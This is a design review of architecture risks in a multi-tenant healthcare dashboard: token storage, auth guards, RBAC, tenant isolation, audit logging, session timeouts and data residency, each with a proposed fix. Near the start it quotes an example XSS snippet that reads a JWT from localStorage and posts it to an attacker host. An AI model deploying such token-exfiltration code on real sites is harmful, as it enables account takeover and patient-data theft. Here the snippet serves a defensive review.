Architecture Risks & Failure Points
Technical deep-dive on system design concerns. These are not timeline or scope issues — they are architectural decisions that, if made wrong, compromise security, compliance, or operational viability.
Risk Index
- Token storage in localStorage (XSS vector)
- PrivateRoute has no real auth guard
- RBAC enforcement gaps (client-side decisions)
- Data leakage between organizations
- Dual database architecture (MySQL + MongoDB)
- Microservices operational complexity
- No error boundaries in React
- Missing audit logging architecture
- Session management / inactivity timeout
- Encryption & data residency decisions deferred
- Redux Saga learning curve
- API versioning strategy undefined
The current frontend stores JWT tokens in browser localStorage. Any JavaScript injection (via third-party library, compromised CDN, template injection) can steal tokens:
// Attacker code injected via XSS
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal', { body: token });
Once stolen, the token provides full API access without additional credentials. The attacker can impersonate the user, access all patient data, and modify records.
Why localStorage is unsafe: Any JavaScript on the page (third-party scripts, React component libraries, analytics) can read it. CORS doesn't protect localStorage — only same-origin policy applies.
httpOnly cookies instead. Set Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict. JavaScript cannot read httpOnly cookies — only the browser sends them automatically with requests. This is the industry standard for token storage.
The current PrivateRoute component in the prototype is a no-op — it renders children without validating that the user is logged in.
const PrivateRoute = ({ children }) => children;
// Usage
<PrivateRoute>
<PatientsPage />
</PrivateRoute>
// Result: ANY visitor (even unauthenticated) sees PatientsPage
An attacker can navigate directly to /app/patients without logging in. The page may break (no data), but unauthenticated state is not caught before rendering. This is a critical auth guard failure.
RoleBasedRoute guard that: (1) reads the JWT token from httpOnly cookie or in-memory store, (2) validates token is not expired, (3) checks user role matches required role for this route, (4) redirects to login if any check fails. Example:
const RoleBasedRoute = ({ requiredRole, children }) => {
const user = useSelector(state => state.auth.user);
const isValidToken = !!user?.token && !isTokenExpired(user.token);
if (!isValidToken) return <Navigate to="/login" />;
if (requiredRole && !user.roles.includes(requiredRole)) {
return <Navigate to="/unauthorized" />;
}
return children;
};The current architecture has access control logic in the React frontend:
// Frontend: hide button if user is not HCP
{user.role === 'hcp' && (
<button>View Patient Details</button>
)}
But the backend API has no equivalent check. If an attacker:
- Opens browser DevTools and modifies the React component to hide the check
- Constructs a raw
GET /api/v1/patients/123/measurementsrequest with any valid token - The backend returns the data without validating whether the user is authorized to see patient 123
This violates the fundamental RBAC rule: Never trust the client. Backend must enforce every access decision.
// Backend (pseudocode)
GET /api/v1/patients/:patientId/measurements {
// 1. Authenticate: validate JWT token is valid
const user = validateJWT(request.headers.authorization);
// 2. Authorize: does user's role have permission to read measurements?
if (!hasPermission(user.role, 'read:measurements')) {
return 403 Forbidden;
}
// 3. Scope: filter query to only data user can access
const allowedPatients = getAssignedPatients(user.id);
if (!allowedPatients.includes(patientId)) {
return 403 Forbidden;
}
// 4. Execute: now safe to return data
return measurements.filter(m => m.patient_id === patientId);
}In a multi-tenant system (multiple organizations using the same dashboard), data isolation is critical. The current schema:
// Organization
{
id: "org_123",
name: "Clinic A",
patients: ["patient_1", "patient_2"] // set of IDs
}
// Physiological (BP measurements)
{
patient_id: "patient_1",
sys: 150,
dia: 90,
date: "2026-04-30"
// NO org_id column!
}
When an HCP from Org B queries GET /api/v1/patients/patient_1/measurements, if the query is:
SELECT * FROM physiological WHERE patient_id = 'patient_1';
The query returns data regardless of which org the patient belongs to. There's no org_id filter. If Org B's HCP somehow knows the patient ID from Org A, they get full access.
org_id column to every data table. Scope all queries by org:
// Physiological (revised)
{
id: "physio_999",
org_id: "org_123", // ← New column
patient_id: "patient_1",
sys: 150,
dia: 90,
date: "2026-04-30"
}
// Query (revised)
SELECT * FROM physiological
WHERE patient_id = 'patient_1' AND org_id = 'org_123';
This ensures org_123's HCP only sees their own patients' data.The existing codebase uses MySQL for accounts and MongoDB for health data. Each database has:
- Different connection pooling strategies — connection pool settings differ between SQL and NoSQL
- Different backup/restore procedures — MySQL snapshots, MongoDB cluster backups, separate recovery tests
- Different query optimization patterns — SQL indexes vs MongoDB compound indexes, different debugging approaches
- Different transaction semantics — ACID transactions in MySQL, eventual consistency in MongoDB, cross-database transactions are hard
- Doubled infrastructure cost — two database instances, two monitoring dashboards, two incident playbooks
For a small team, this is significant maintenance burden. When schema changes are needed, you must migrate both databases separately.
jsonb column if the schema is dynamic, or use standard tables — benchmarking shows Postgres can handle the scale. One database = simpler backups, simpler monitoring, simpler mental model.Microservices are useful for large teams and services that scale independently. But at MVP stage with a small team:
- Network latency — every request from resolver to physiological adds ~5-50ms. Adds up in high-traffic scenarios.
- Failure modes multiply — if any service goes down, the whole system breaks. Need circuit breakers, retries, fallbacks.
- Deployment ceremony — deploying a bug fix now requires: code change, build, push to 3 services, coordinated restart. Much slower iteration.
- Testing is harder — integration tests must spin up 5 Docker containers. Local dev requires same. Slow test loops.
- Debugging distributed issues — a bug might be in resolver or physiological service. Tracing requests across services requires correlation IDs, logging aggregation, APM tooling — all extra setup.
If any React component throws an uncaught exception, the entire app crashes. Users see a blank white screen with no error message. They have no idea what happened.
// A third-party library update introduces a bug
const PatientChart = ({ data }) => {
return <Recharts data={data.measurements} /> // If data is undefined, throws error
};
// If not caught by an error boundary:
// User sees: blank page
// No error log
// No recovery option
<ErrorBoundary fallback={<ErrorPage />}>
<Route path="/patients/:id" element={<PatientDetail />} />
</ErrorBoundary>
When a component fails, show a user-friendly error message ("Something went wrong") and log the error to a backend service (Sentry, LogRocket) for debugging.HIPAA and GDPR require comprehensive audit logs for every access to health data. Currently, no audit logging exists. When a regulator asks "who accessed patient X's data and when?", you have no answer.
What needs to be logged:
- Login / logout (user, timestamp, IP, success/failure)
- Data access (user, resource, timestamp, success/failure)
- Data modification (user, resource, old value, new value, timestamp)
- Consent change (user, patient, consent action, timestamp)
- Permission change (admin, target user, role change, timestamp)
Retrofitting audit logging after the fact is expensive — every API handler must be touched. Build it in from day 1.
audit_log table at the start:
CREATE TABLE audit_log ( id UUID PRIMARY KEY, user_id UUID, org_id UUID, action VARCHAR(50), // 'login', 'read_patient', 'write_measurement', etc. resource_type VARCHAR(50), // 'patient', 'measurement', 'organization', etc. resource_id UUID, ip_address INET, user_agent TEXT, timestamp TIMESTAMPTZ, result VARCHAR(20), // 'success', 'forbidden', 'not_found' metadata JSONB // additional context );Wrap API handlers with logging middleware that records every request/response.
HIPAA recommends 15-minute inactivity timeout for healthcare applications. Currently, tokens do not expire on inactivity. If a doctor logs in and walks away, an attacker can use their unlocked browser to access patient data indefinitely.
Decisions to make:
- What is the inactivity threshold? (HIPAA typically 15 min, some orgs require 5 min)
- What action triggers inactivity? (page focus loss, no mouse/keyboard, no API calls?)
- What happens on timeout? (redirect to login, show warning + countdown, immediate logout?)
- How to implement? (backend token expiry, frontend timer, both?)
- Server-side: Issue tokens with
expclaim set to current time + 8 hours (or shorter). Token is invalid after expiry. - Client-side: Track last user activity (mouse, keyboard, scroll). If no activity for 15 minutes, show a warning modal: "Your session will expire in 1 minute. Click to stay logged in." If user does not click, revoke the token.
GDPR requires that personal data of EU residents stays in the EU. Hilo is planning to serve both EU and US clinics. The current infrastructure does not support region-specific data routing.
Additionally, HIPAA (if US customers exist) and GDPR both require encryption at rest. Currently unclear if Postgres TDE is enabled.
Technical requirements:
- Provision Postgres in EU region AND US region (separate instances)
- API layer routes requests to correct region based on
org.data_residency - Enable transparent data encryption (TDE) on both instances
- Implement data residency enforcement in middleware (prevent US query on EU data, etc.)
Redux Saga is powerful but complex. It uses generator functions and effects, which are concepts not every frontend developer is familiar with. Debugging saga issues requires understanding:
- Generator syntax (
function*,yield) - Saga effects (
take,call,put,fork) - Error handling in sagas (different from promises)
- Saga testing (requires saga middleware, test utilities)
For a small team adding features quickly, this overhead is significant.
RTK Query (Redux Toolkit Query) instead. RTK Query handles data fetching with a simpler API — no generators, no effects, just hooks. Works with Redux for state management. Reduces learning curve and lines of code. Trade-off: RTK Query is less flexible than Saga for very complex async flows, but MVP doesn't need that.Once the B2B dashboard API goes live, the mobile app and other clients depend on it. If you change the API without versioning, you break those clients.
Example: You want to add a lastSync field to the patient response. If you just add it:
// Old response
{ "id": "patient_1", "name": "John", "bloodPressure": { ... } }
// New response
{ "id": "patient_1", "name": "John", "bloodPressure": { ... }, "lastSync": "2026-04-30T10:00Z" }
// Old client may crash if it expects exactly those fields
Or you want to rename bloodPressure to bp — old clients expecting bloodPressure break immediately.
- Option A: URL path versioning —
/api/v1/patients,/api/v2/patients. New endpoints are v2, old endpoints stay at v1 for backward compatibility. - Option B: Header versioning —
Accept: application/vnd.hilo+json; version=1. Single URL, multiple versions.